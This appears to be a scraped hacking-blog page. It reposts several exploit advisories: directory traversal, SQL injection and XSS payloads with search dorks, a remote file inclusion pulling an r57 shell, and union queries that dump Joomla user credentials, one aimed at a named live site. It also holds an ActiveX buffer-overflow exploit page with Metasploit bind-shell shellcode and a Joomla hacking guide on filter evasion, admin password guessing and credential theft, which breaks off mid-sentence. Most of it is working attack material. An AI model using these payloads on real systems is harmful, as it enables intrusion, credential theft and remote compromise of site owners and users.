How to Use Premium Cookies?edit cookies in any websites

Here is the general tutorial to add or edit premium cookies. Requirements: Web Developer Add on Step 1: Install Web Developer Add on Install the Web developer add on. Using this add on we are going to edit the cookies http://hackertutorial.blogspot.com/.

A Guide to Online Anonymity - How can i be completely untraceable?

Definition: The act of keeping your identity hidden online by using connection methods and encryption methods, to make yourself untraceable to a person, website, company, school or whatever else you are doing/connecting to.

Increase the Download speed of Hotfile like premium account-cookies hack

Hi Friends, i think this is my first about hotfile. Hotfile is file sharing website. In hotfile , downloading speed for normal user is very slow. But for premium account it will be faster. In this post, i am going to explain how to downlod files from hotfile like...

Data Mining and Knowledge Recovery

Knowledge discovery and data mining construes of techniques that assists in discovering associations within a given dataset. A few techniques that facilitate extraction of knowledge from data are machine learning, soft computing, statistical techniques, pattern recognition, and visualization....

Digital Forensics

Digital forensics has existed for as long as computers have stored data that could be used as evidence. For many years, digital forensics was performed primarily by government agencies, but has become common in the commercial sector over the past several years. Digital forensics has three major...

Monday, February 6, 2012

phpShowtime Directory Traversal

 
 
#
# Title     : phpShowtime Directory Travel
# Author    : Red Security TEAM
# Date      : 31/01/2012
# Download  : http://phpshowtime.kybernetika.de/
# Demo      : http://phpshowtime.kybernetika.de/demo/
# Tested On : CentOS
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
#
# http://server/index.php?r=i/[Your Directory]
# Example   : http://server/index.php?r=i/../../
#

DIGIT CMS Multiple Vulnerabilities

 
# Exploit Title: DIGIT Cms SQL Injection / XSS Multiple Vulnerability
# Date: 2012-01-05 [GMT +7]
# Author: BHG Security Center
# Software Link: http://www.dig-it.co.il/
# Vendor Response(s): They didn't respond to the emails.
# Dork: intext:"Site by DIGIT"
# Version : [1.0.7]
# Tested on: ubuntu 11.04
# CVE : -
# Finder(s):
    - Net.Edit0r (Net.edit0r [at] att [dot] net)
 - G3n3Rall (Ant1_s3cur1ty [at] yahoo [dot] com)
-----------------------------------------------------------------------------------------
DIGIT Israel Cms SQL Injection / XSS Multiple Vulnerability
-----------------------------------------------------------------------------------------
Author : BHG Security Center
Date : 2012-01-05
Location : Iran
Web : http://Black-Hg.Org
Critical Lvl : Medium
Where : From Remote
My Group : Black Hat Group #BHG
---------------------------------------------------------------------------
PoC/Exploit:
~~~~~~~~~~
~ [PoC] ~: /website_path/Default.asp?sType=0&PageId=[Sqli]
~ [PoC]Http://[victim]/path/Default.asp?sType=0&PageId=[Sqli]
 Enter In Search Box XSS Code ~
<FORM action="Default.asp?PageId=-1" method=POST id=searchFORM
name=searchFORM  style="margin:0;padding:0">
<INPUT type="hidden" value="" name="txtSEARCH">
</FORM>
~ [PoC] ~: Http://[victim]/path/Default.asp
Note: There are vulnerabilities in the search field that you can use
 Timeline:
~~~~~~~~~
- 02 - 01 - 2012 bug found.
- 03 - 01 - 2012 vendor contacted, but no response.
- 05 - 01 - 2012 Advisories release.
 Important Notes:
~~~~~~~~~
- Vendor did not respond to the email as well as the phone. As there
is not any contact form or email address in
- the website, we have used all the emails which had been found by
searching in Google such as support, info, and so on.
---------------------------------------------------------------------------
Greetz To:A.Cr0x | 3H34N | tHe.k!ll3r | Mr.XHat |NoL1m1t |Bl4ck.Viper
Spical Th4nks: B3hz4d | ArYaIeIrAN| _SENATOR_ |Cyber C0der And All My Friendz
[!] Persian Gulf 4 Ever
[!] I Love Iran And All Iranian People
Greetz To : 1337day.com ~ exploit-db.com [h4ckcity tM] And All Iranian HackerZ
-------------------------------- [ EOF ] ----------------------------------

Priza CMS Multiple Vulnerabilities

 
# Exploit Title: Priza Israel Cms SQL Injection / XSS Multiple Vulnerability
# Date: 2012-01-05 [GMT +7]
# Author: BHG Security Center
# Software Link: http://www.priza.co.il/
# Vendor Response(s): They didn't respond to the emails.
# Dork: intext:"Powered by Priza"
# Version : [0.0.2]
# Tested on: ubuntu 11.04
# CVE : -
# Finder(s):
    - Net.Edit0r (Net.edit0r [at] att [dot] net)
 - G3n3Rall (Ant1_s3cur1ty [at] yahoo [dot] com)
-----------------------------------------------------------------------------------------
Priza Israel Cms SQL Injection / XSS Multiple Vulnerability
-----------------------------------------------------------------------------------------
Author : BHG Security Center
Date : 2012-01-05
Location : Iran
Web : http://Black-Hg.Org
Critical Lvl : Medium
Where : From Remote
My Group : Black Hat Group #BHG
---------------------------------------------------------------------------
PoC/Exploit:
~~~~~~~~~~
~ [PoC] ~: /website_path/index.asp?p_id=201&id=[SQLi]
~ [PoC] ~: /website_path/index.asp?page_id=[SQLi]
~ [PoC] ~: /website_path/volumes.asp?id=18
~ [PoC] ~: /website_path/index.asp?action=find&page_id=28&string=[Xss]
~~~~~~~~ Exploit
~ [PoC] ~: Http://[victim]/path/index.asp?p_id=201&id=[SQLi]
~ [PoC] ~: Http://[victim]/path/index.asp?action=find&page_id=28&string="><script>alert(0)</script>
 Timeline:
~~~~~~~~~
- 02 - 01 - 2012 bug found.
- 03 - 01 - 2012 vendor contacted, but no response.
- 05 - 01 - 2012 Advisories release.
 Important Notes:
~~~~~~~~~
- Vendor did not respond to the email as well as the phone. As there
is not any contact form or email address in
- the website, we have used all the emails which had been found by
searching in Google such as support, info, and so on.
---------------------------------------------------------------------------
Greetz To:A.Cr0x | 3H34N | tHe.k!ll3r | Mr.XHat |NoL1m1t |Bl4ck.Viper
Spical Th4nks: B3hz4d | ArYaIeIrAN| _SENATOR_ |Cyber C0der And All My Friendz
[!] Persian Gulf 4 Ever
[!] I Love Iran And All Iranian People
Greetz To : 1337day.com ~ exploit-db.com [h4ckcity tM] And All Iranian HackerZ
-------------------------------- [ EOF ] ----------------------------------

Facebook Newsroom CMS 0.5.0 Beta 1 Remote File Inclusion Vulnerability

 
#####################################################################
#
# Facebook Newsroom Application Remote File Inclusion Vulnerability
#
#####################################################################
#
# Discovered by : Ciph3r
#
#
# MAIL : Ciph3r_blackhat@yahoo.com
#
#
# SP tanx4: Iranian hacker & Kurdish security TEAM
#
# sp TANX2: milw0rm.com & google.com & sourceforge.net
#
# CMS download : http://sourceforge.net/project/showfiles.php?group_id=221515
#
# class : remote
#
# risk : high
#
# message : agha kovat tavalodet mobarak ! inam kadoye tavalodet :d
#######################################################################
#
# C0de :
#
#
#    require_once ($path.'/classes/feedStories.class.php');
#
#
#######################################################################
 EXPLOIT :
 www.[Target].com/path/includes/home.php?path=[r57.txt?]
#######################################################################
# milw0rm.com [2008-07-11]

Joomla com_facebook SQL Injection

 
#############################################################################################################
## Joomla Component com_facebook SQL injection vulnerability - (id)               ##
## Author : kaMtiEz (kamzcrew@gmail.com)           ##
## Homepage : http://www.indonesiancoder.com                       ##
## Date : September 22, 2009                 ##
#############################################################################################################
#############################################################################################################
# /~~\__/~~\_/~~~~\_/~~\_______/~~\__________________/~~~~~\__                                              #
# /~~\_/~~\___/~~\__/~~\_______/~~\_________________/~~\_/~~\_                                              #
# /~~~~~\_____/~~\__/~~\_______/~~\_______/~~~~~~~\__/~~~~~\__                                              #
# /~~\_/~~\___/~~\__/~~\_______/~~\____________________/~~\___                                              #
# /~~\__/~~\_/~~~~\_/~~~~~~~~\_/~~~~~~~~\_____________/~~\____                                              #
#____________________________________________________________ -=- KILL-9 CREW -=- INDONESIANCODER -=-       #
#                                                                                                           #
#############################################################################################################
[ Software Information ]
[+] Vendor : -
[+] Download : http://joomlacode.org/gf/project/joomla-facebook/
[+] version : -
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_facebook"
#############################################################################################################
[ Vulnerable File ]
http://127.0.0.1/index.php?option=com_facebook&view=student&id=[INDONESIANCODER]
[ Exploit ]
-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12+from+jos_users--
[ Demo ]
http://www.engineering.edu.sg/index.php?option=com_facebook&view=student&id=-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12+from+jos_users--
#############################################################################################################
[ Thx TO ]
[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,devil_nongkrong and YOU!!
[ NOTE ]
[+] Mom and dad i love u .. for my girlfriends thx for your support mwahhhh ^_^
[+] terima kasih banget buat tukulesto dan arianom yang setiap malam menemani saya waktu exploit .. wkwkwkw
[+] terima kasih buat vYc0d dan devil_nongkrong yang menemani saya waktu YM an .. wkwkwkkwkw
[ QUOTE ]
[+] kaMtiEz -=- Don Tukulesto -=- M3NW5 -=- 30 hari mencari AuraKasih ....
[+] AURAKASIH I LOVE U FULL arghhhhh ...

FaceBook PhotoUploader (ImageUploader4.ocx 4.5.57.0) BOF Exploit


<!--
FaceBook PhotoUploader Buffer Overflow Exploit
written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, ImageUploader4.ocx 4.5.57.0(FaceBookPhotoUploader2.cab)
The following controls are also vulnerable:
Aurigma ImageUploader4 4.5.70.0 and 4.5.126.0
-----------------------------
{6E5E167B-1566-4316-B27F-0DDAB3484CF7}
Buffer Offset: 289
Aurigma ImageUploader4 4.6.17.0
-----------------------------
{6E5E167B-1566-4316-B27F-0DDAB3484CF7}
Buffer Offset: 261
Aurigma ImageUploader5 5.0.10.0
-------------------------------
{BA162249-F2C5-4851-8ADC-FC58CB424243}
Buffer Offset: 261
Thanks to h.d.m. and the Metasploit crew
-->
<html>
 <head>
  <title>FaceBook PhotoUploader Buffer Overflow Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
     var buf = unescape("%u4141");
     while (buf.length <= 261) buf = buf + unescape("%u4141");
// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                          "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                          "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                          "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                          "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                          "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                          "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                          "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                          "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                          "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                          "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                          "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                          "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                          "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                          "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                          "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                          "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                          "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                          "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                          "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                          "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                          "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                          "%u314e%u7475%u7038%u7765%u4370");
// win32_bind -  EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" +
                          "%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" +
                          "%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" +
                          "%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" +
                          "%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c" +
                          "%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f" +
                          "%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b" +
                          "%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c" +
                          "%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31" +
                          "%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35" +
                          "%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b" +
                          "%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663" +
                          "%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733" +
                          "%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470" +
                          "%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358" +
                          "%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f" +
                          "%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458" +
                          "%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58" +
                          "%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f" +
                          "%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275" +
                          "%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45" +
                          "%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033" +
                          "%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046" +
                          "%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035" +
                          "%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036" +
                          "%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64" +
                          "%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35" +
                          "%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67" +
                          "%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30" +
                          "%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f" +
                          "%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246" +
                          "%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139" +
                          "%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652" +
                          "%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e" +
                          "%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b" +
                          "%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075" +
                          "%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251" +
                          "%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f" +
                          "%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f" +
                          "%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b" +
                          "%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952" +
                          "%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73" +
                          "%u684f%u3956%u386f%u4350");
        var next_seh_pointer = unescape("%u06EB%u9090"); //2 byte jump
        //oleacc.dll Windows XP SP2 English 0x74C96950 pop ebp - pop - retbis
            //no SafeSEH
        var seh_handler = unescape("%u6950%u74C9");
        var nop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090");
        var m = buf + next_seh_pointer + seh_handler + nop + shellcode1 + nop;
        obj.ExtractIptc = m;
        //obj.ExtractExif = m;
   }
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0">
     Unable to create object
    </object>
 </body>
</html>
# milw0rm.com [2008-02-03]

Joomla Component GBU FACEBOOK SQL injection vulnerability

 
[!]===========================================================================[!]
[~] Joomla Component GBU FACEBOOK SQL injection vulnerability
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 20 april, 2010
[!]===========================================================================[!]
[ Software Information ]
[+] Vendor : http://www.gbugrafici.nl/gbufacebook/
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://www.gbugrafici.nl/gbufacebook/com_gbufacebook.zip
[+] Version : 1.0.5 or lower maybe also affected
[!]===========================================================================[!]
[ Vulnerable File ]
http://127.0.0.1/index.php?option=com_gbufacebook&task=show_face&face_id=[INDONESIANCODER]
[ XpL ]
-999.9'+UNION+ALL+SELECT+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--+and+'kaMtiEz'='kaMtiEz
etc etc etc ;]
[!]===========================================================================[!]
[ Thx TO ]
[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,yur4kh4
[ NOTE ]
[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM
[+] jika kami bersama nyalakan tanda bahaya :)
[+] Ayy : Ceped sembuh bebh .. lup u :">
[+] Don Tukulesto and Acild : thanks for coming in my t0wn :D
[ QUOTE ]
[+] INDONESIANCODER still r0x
[+] nothing secure ..

The Joomla Hacking Compendium

The Joomla Hacking Compendium
                                 ((or: Hacking Joomla for Phun and Profit))
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
[+] Title:      The Joomla Hacking Compendium
[+] Author:     Valentin Hoebel
[+] Contact:    valentin@xenuser.org
[+] Version: 1.0
[+] Date: December 2010
[+] Almost 1000 lines of pure knowledge!
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::: - Chapters - :::::::::::::::::::::::::::::::
0x01 - Purpose of this document
0x02 - Introduction
0x03 - The Basics of Joomla
0x04 - The Joomla core
0x05 - Joomla extensions
0x06 - Hacking Joomla
0x07 - SEO, our strongest enemy
0x08 - Examples for Joomla SQL injections
0x09 - Examples for Joomla local file inclusions
0x10 - Examples for Joomla remote file inclusions
0x11 - Examples for Joomla XSSs/CSRFs
0x12 - How to protect your Joomla
0x13 - Conclusion and a look at Joomla's feature
0x14 - How to stay informed (or: the latest vulnerabilities)
0x15 - Useful tools
0x16 - Greetings and THX
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::
:: 0x01 - Purpose of this document
::
This document should provide you with security related information about
Joomla and the extensions which are available for it. This paper focuses
on how to hack Joomla installations and how to protect them. I do not
want to motivate you to go out there and hack Joomla websites after you
have read this document, this paper is more a theoretical view of how
attackers could compromise the security of a website. It should help
you to understand basic security mechanics, which finally leads you
to a point where you are able to protect Joomla websites.
I also wrote this document in order to summ up some knowledge I gained
about Joomla. I hope it will be helpful in some way and you learn
something new. If you find any typos: feel free to drop me a mail
or simply ignore them. Fuck office / word / word processor -
vim rules!
(( This paper was written for educational purposes. Always know and
respect your local laws. ))
(( While writing this document I assumed, that the reader already
gained some knowledge about web security and Joomla. ))
::
:: 0x02 - Introduction
::
When I was looking for a new CMS for my latest project in January 2007,
I immediately fell in love with Joomla. It was small, it was easy, it
was new, it was amazing, it felt so fresh and yes, I wanted to sleep
with it! Finally someone invented a content management system which
was easy to use and supported categories in categories, basic
magazine features, easy content handling, awesome extensions management
and was fast to install.
While I have been creating countless websites with Joomla, I never
gave security a thought at the beginning. For me it was just about
installing Joomla, applying some cool theme and uploading douzends
of extensions.
But during the years I started to realize that there are kids and
automated scripts out there which looked for vulnerable websites and
"hacked" them automatically. Without any human interaction it was poss-
ible for them to compromise a Joomla installation and make clueless
webmasters angry.
I saw so many defaced sites, being a victim for scripts and not for
skilled hackers.
When I started to do some vulnerability and security research at
March 2010 (the time when I published security related
documents for the first time), I began to focus on Joomla and the
extensions which are available for it. I had no partiuclar reasons
for it, it just happened because so many Joomla websites turned out
to be unsecure.
But I also understood that Joomla itself, the core (sounds very
sci-fi like, doesn't it), seems to be secure in most ways.
I focused on Joomla extensions and discovered many vulnerabilities,
therefore in this document we will mostly have a look at stuff which
is not part of the Joomla core.
Now grab a coffee, switch on the music (I prefer vocal trance, Tiesto
is simply awesome btw!) and be invited to dive into the deepest code lines
and dissections of Joomla.
::
:: 0x03 - The Basics of Joomla
::
Joomla is a content management system and therefore a feature-rich
application. It is full of functions and possibilities to enhance
its functionalities, therefore there may be many attack vectors
in theory.
When you download Joomla, all you need is a webserver, PHP and MySQL
in order to run it. The download file comes with the core and at least
one example theme.
The Joomla core can be enhanced with the help of..
- modules,
- components
- and plugins (also known as mambots).
In most cases the components are vulnerable to attacks.
The modules often only are used to display information in small
boxes on the websites and contain no features which can be used
for exploiting weak spots.
The plugins (mambots) are more likely integrated core parts, e.g.
they can be used to embed PHP code into normal Joomla articles.
The components are the most important extensions for this CMS,
they provide classical functionality, like guestbooks, message
boards, galleries, user management..
The Joomla core itself is almost never vulnerable for attacks.
When you browse the web, you will have a hard time finding
serious attack vendors. Only some XSS and SQL injection
vulnerabilities are known and they are already fixed.
So let's focus on the Joomla components.
::
:: 0x04 - The Joomla core
::
Before inspecting the Joomla component attack vendors we first have a
look at the core.
Download Joomla somewhere and extract all files. Open the file
libraries/phpinputfilter/inputfilter.php
and look at the code:
----------------------------------------
  var $tagsArray; // default = empty array
        var $attrArray; // default = empty array
        var $tagsMethod; // default = 0
        var $attrMethod; // default = 0
        var $xssAuto; // default = 1
        var $tagBlacklist = array ('applet', 'body', 'bgsound' [...]
        var $attrBlacklist = array ('action', 'background'     [...]
----------------------------------------
As you can see, some filter methods of Joomla are based on blacklisting.
This knowledge can be used later to exploit potential vulnerabilities in
a better way. I find this method not very effective, btw.
While HTML tags containing "body" or "bgsound" will be filtered out
at input fields or URL parameters, they can be written in many ways,
e.g. like "bOdY" or "b o DY" etc. You are only limited by your
creativity and will find ways for tricking the blacklist of the
Joomla framework.
Another interesting part is this one (same file):
----------------------------------------
/*
 * Is there a tag? If so it will certainly start with a '<'
 */
$tagOpen_start  = strpos($source, '<');
while ($tagOpen_start !== false)
    {
        /*
         * Get some information about the tag we are processing
         */
         $preTag            .= substr($postTag, 0, $tagOpen_start);
         $postTag                = substr($postTag, $tagOpen_start);
----------------------------------------
As you can see they assume that an HTML tag being used in XSS attacks
starts with a "<". In fact, I never use this character and many
XSS cheatsheets suggest this, too. With this information in mind,
you can most likely avoid being detected by the filters. You can start
your XSS string with "><tag... for example.
If you want to you can continue looking. You will find other filter
methods and, at the end of the file, there are also built in
mechanics which should help to prevent SQL injection vulnerabilities:
----------------------------------------
$string = mysql_real_escape_string($string);
----------------------------------------
By the way, you might know that mysql_real_escape_string is not
sufficient for preventing SQL injection attacks. Just to let you know.
I highly recommend that you get yourself familiar with the Joomla framework
and the way Joomla works. A good start would be to find out where Joomla
sets some metatags. While looking for the responsible script, you will
look over many parts of the Joomla core and therefore gain a basic
understanding of what's going on in the backstage area.
And always remember: the more you learn about Joomla, the easier it is
to exploit vulnerabilities later.
Something which takes not long for being understood is how to reach
the backend of Joomla: simply type in
..website/administrator
in your browser and you will find the admin panel there. In most cases
there is a user called "administrator" or "admin". Try to brute force or
guess the password of that user. You will wonder how many times it is
12345 or sex or simply the website's name.
::
:: 0x05 - Joomla extensions
::
Browse extensions.joomla.org and install some components. They are marked
with a green [C] sign and can be installed by visiting the Joomla backend
(http://www.your-site.com/joomla/administrator).
After having installed some of them, go to the menu management and include
some links to the components on the website. Now visit the website and
browse through the links. You will notice that the URL looks like this:
http://www.website.com/joomla/index.php?option=com_blabla&Item=2&ItemId=5
It so much looks like it contains many attack vendors and is certainly
screeming for many penetration testing sessions. Please, come and hack me!
Of course it is not that easy, but look at this URL. It contains the
following pattern:
index.php?option=    (which calls the component you are visiting)
com_blabla        (the name of the component)
&Item=2            (some ID, not very interesting)
&ItemId=5        (some ID, also not very interesting)
You realize that there is a pattern, don't you? This helps alot while
trying to hack a Joomla website.
It is often possible to add well-known variables (parameters) to the URL,
in most cases Joomla (respectively the component you are visiting) will
parse them. Some of these parameters are:
- controller
- layout
- category
- cat
- visit
- page
And you know: the more parameters there are, the more attack vendors might
exist.
::
:: 0x06 - Hacking Joomla
::
"Enough of this shit, stop talking! How do I hack it???" - Yah, yah.
Having in mind everything we learned, it is almost impossible to hack
a Joomla website core which was installed with the latest version.
Therefore we focus on the extensions (here: components; but modules are
often vulnerable to XSS attacks). Open your local Joomla test installation
(of course you don't try this on life websites, don't you?) and click
through the menu. Notice what components are installed.
There are the following attack vendors:
- look for input fields,
- look at the URL parameters,
- have a look at the source code,
- view the robots.txt,
- try to login via the admin back panel,
- have a look at the used theme (design)
- and try to find a PHPMyAdmin installation.
Concerning the attack vendors for components only, you can use
SQL injection and XSS attacks for input fields and the URL parameters.
If you don't know how to do that, I suggest you Google it up. Try googling
for "SQL injection sheet" or "XSS cheat sheet".
There are many ways for hacking Joomla and some examples will be shown in
the next chapters.
::
:: 0x07 - SEO, our strongest enemy
::
For attacking Joomla effectively, you will try to manipulate the URLs in
most cases. This can only be done when they are shown like this:
http://www.website.com/index.phpoption=com_blabla&Item=2&ItemId=5
When the URLs are like this
http://www.website.com/index,51,blabla
or
http://www.website.com/guestbook/page2
you most likely encounter SEO functionallity.
SEO contains a number of methods which make websites search engine
friendly. A lot of money can be earned in this area.
SEF (search engine friendly) URLs are our strongest enemy. They
hide the original URL from us.
And when there are no parameters in the URLs, we are unable to
find parameters which take our input. But what if we are able to
reconstruct the original URL?
All we need is
a) to know what component is currently active,
b) what parameters it takes and
c) what their current values are.
The process of reconstructing contains of obtaining information and
some decent guessing.
Have a look at the source code of the current page and look for
"com_". You most likely will find a part which looks like this:
----------------------------------------
<input type="hidden" name="option" value="com_blabla" />
<input type="hidden" name="ItemId" value="5" />
<input type="hidden" name="Item" value="2" />
<input type="hidden" name="Entry" value="451" />
<input type="hidden" name="view" value="entries">
----------------------------------------
Bingo! We have everything we need. The original URL is composed by the
parameters being shown in the code above. Attention: only code snippets
which do not contain Joomla default components are interesting for us.
Joomla default components could be com_content or com_search. Especially
com_search is included in almost every Joomla source code and therefore
is not very interesting for us - but the related code snippets can be
misleading.
Now compose your original URL, simply fill out the well-known URL
pattern:
http://www.website.com/
index.php?option=com_blabla&ItemId=5&Item=2&Entry=451&view=entries
You understand this part? Good.
We now have a URL we can work with.
Let's continue with some practical stuff.
::
:: 0x08 - Examples for Joomla SQL injections
::
The probably most common case for hacked Joomla websites is that
a SQL injection vulnerability was exploited. A typical URL which
is affected by this type of vulnerability looks like this:
index.php?option=com_blabla&category=5&Item=2
Typically the following parameters are vulnerable:
- cat, category, kat, categories, kats, cats
- id, userid, katid, catid
- sometimes also Item, entry, page
You can find out if a parameter is vulnerable when you change
its value from e.g. category=5 to category='.
Press enter and look for MySQL errors in the website. If you find
one, you might have discovered a SQL inkjection vulnerability.
In order to give you a better understanding and feeling of
how vulnerable URLs might look like, I just show you some
URLs which are known to be vulnerable (I discovered them):
URL: index.php?option=com_jp_jobs&view=detail&id=1
Vulnerable parameter: id
URL: index.php?option=com_mv_restaurantmenumanager&task=menu_display\
&Venue=XX&mid=XX&Itemid=XX
Vulnerable parameter: mid
URL: index.php?option=com_qpersonel&task=qpListele&katid=2
Vulnerable parameter: katid
URL: index.php?com_pandafminigames&Itemid=&task=myscores&userid=2
Vulnerable parameter: userid
URL: index.php?option=com_joltcard&Itemid=21&task=view&cardID=6
Vulnerable parameter: cardID
URL: index.php?com_bfquiztrial&view=bfquiztrial&catid=1&Itemid=62
Vulnerable parameter: catid
URL: index.php?com_golfcourseguide&view=golfcourses&cid=1&id=79
Vulnerable parameter: id
URL: index.php?option=com_nkc&view=insc&lang=en&gp=10
Vulnerable parameter: gp
Notice how many parameters look familiar to you? Yes, I mentioned them
earlier as well-known parameters which are affected on regular
basis :)
Since every Joomla database contains the same structure (like the same
tables etc.), we know enough to inject a SQL statement:
Example #1:
index.php?option=com_qpersonel&task=qpListele&katid=XX+AND+1=2+UNION+\
SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(\
username, password)--
Example #2:
index.php?option=com_pandafminigames&Itemid=&task=myscores&userid=XX+\
AND+1=2+UNION+SELECT+concat(password),2,concat(password),4,5,6,7,\
8,9,10,11,12--
Example #3:
index.php?option=com_jp_jobs&view=detail&id=1+AND+1=2+UNION+SELECT+\
group_concat(0x503077337220743020743368206330777321,name,username,\
password,email,usertype,0x503077337220743020743368206330777321)--
The selected information will be shown within the website.
Select a username and password from the table and try to crack the
MD5 hash with the help of raindbow tables.
SQL injections in Joomla give us so much freedom as we can get. You can
select everything you want from the database, and if you are lucky,
there are also other tables in the databases which do not belong
to Joomla but still contain some very interesting information.
::
:: 0x09 - Examples for Joomla local file inclusions
::
Local file inclusions are very funny. You tell the website what you
want to see. Awesome! You want to view the configuration file
which contains the database login credentials? No problem.
You want to view the /etc/passwd file if Joomla is hosted
on a Linux box? You can do that.
Local file inclusions are also a common problem in Joomla extensions.
Many of them are vulnerable for this type of attack and some of them
never get fixed. This may lead to a server hack, which is not
